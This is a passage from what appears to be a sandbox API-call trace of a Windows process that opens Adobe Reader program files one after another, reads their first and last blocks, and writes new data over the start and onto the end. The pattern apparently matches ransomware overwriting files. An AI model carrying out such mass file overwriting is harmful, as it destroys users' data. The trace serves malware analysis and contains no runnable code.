lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0036.472] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.473] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xbd60 [0036.473] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.474] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xbd60 [0036.474] WriteFile (in: hFile=0x1a8, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.475] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0036.475] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.475] CloseHandle (hObject=0x1a8) returned 1 [0036.475] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0036.475] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.475] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xc60d [0036.475] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.475] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.475] ReleaseMutex (hMutex=0x128) returned 1 [0036.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.476] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0036.476] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.477] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xb60d [0036.477] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.478] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xb60d [0036.478] WriteFile (in: hFile=0x1a8, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.478] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0036.478] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.478] CloseHandle (hObject=0x1a8) returned 1 [0036.478] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0036.478] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.478] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xf0a0 [0036.479] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.479] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.479] ReleaseMutex (hMutex=0x128) returned 1 [0036.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0036.479] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.481] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xe0a0 [0036.481] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.482] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xe0a0 [0036.482] WriteFile (in: hFile=0x1a8, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.482] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0036.482] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.482] CloseHandle (hObject=0x1a8) returned 1 [0036.482] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0036.482] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.483] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xc2f5 [0036.483] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.483] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.483] ReleaseMutex (hMutex=0x128) returned 1 [0036.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0036.483] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.485] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xb2f5 [0036.485] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.485] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xb2f5 [0036.485] WriteFile (in: hFile=0x1a8, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.485] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0036.485] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.485] CloseHandle (hObject=0x1a8) returned 1 [0036.485] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\acroform.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0036.486] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.486] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6dc00 [0036.486] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.486] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.486] ReleaseMutex (hMutex=0x128) returned 1 [0036.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CAT", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CAT", lpUsedDefaultChar=0x0) returned 12 [0036.486] ReadFile (in: hFile=0x1a8, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0036.488] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6cc00 [0036.488] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.490] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6cc00 [0036.491] WriteFile (in: hFile=0x1a8, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.491] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0036.491] WriteFile (in: hFile=0x1a8, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0036.491] CloseHandle (hObject=0x1a8) returned 1 [0036.491] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\makeaccessible.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0036.492] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.492] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x13600 [0036.492] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.492] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.492] ReleaseMutex (hMutex=0x128) returned 1 [0036.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CAT", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0036.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CAT", cchWideChar=18, lpMultiByteStr=0x1e78c44, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CAT", lpUsedDefaultChar=0x0) returned 18 [0036.492] ReadFile (in: hFile=0x1c4, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.494] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x12600 [0036.494] ReadFile (in: hFile=0x1c4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.495] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x12600 [0036.495] WriteFile (in: hFile=0x1c4, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.495] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0036.496] WriteFile (in: hFile=0x1c4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.496] CloseHandle (hObject=0x1c4) returned 1 [0036.496] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0036.496] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.496] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x9586 [0036.496] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.496] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.496] ReleaseMutex (hMutex=0x128) returned 1 [0036.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0036.496] ReadFile (in: hFile=0x1c4, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.499] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8586 [0036.499] ReadFile (in: hFile=0x1c4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.499] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8586 [0036.499] WriteFile (in: hFile=0x1c4, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.499] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0036.499] WriteFile (in: hFile=0x1c4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.499] CloseHandle (hObject=0x1c4) returned 1 [0036.499] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\checkers.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0036.500] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.500] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1da00 [0036.500] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.500] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.500] ReleaseMutex (hMutex=0x128) returned 1 [0036.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CZE", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CZE", lpUsedDefaultChar=0x0) returned 12 [0036.500] ReadFile (in: hFile=0x1c4, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.501] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1ca00 [0036.502] ReadFile (in: hFile=0x1c4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.503] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1ca00 [0036.503] WriteFile (in: hFile=0x1c4, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.503] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0036.503] WriteFile (in: hFile=0x1c4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.503] CloseHandle (hObject=0x1c4) returned 1 [0036.503] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\RdLang32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\rdlang32.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0036.503] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.504] SetFilePointer (in: hFile=0x1c4, 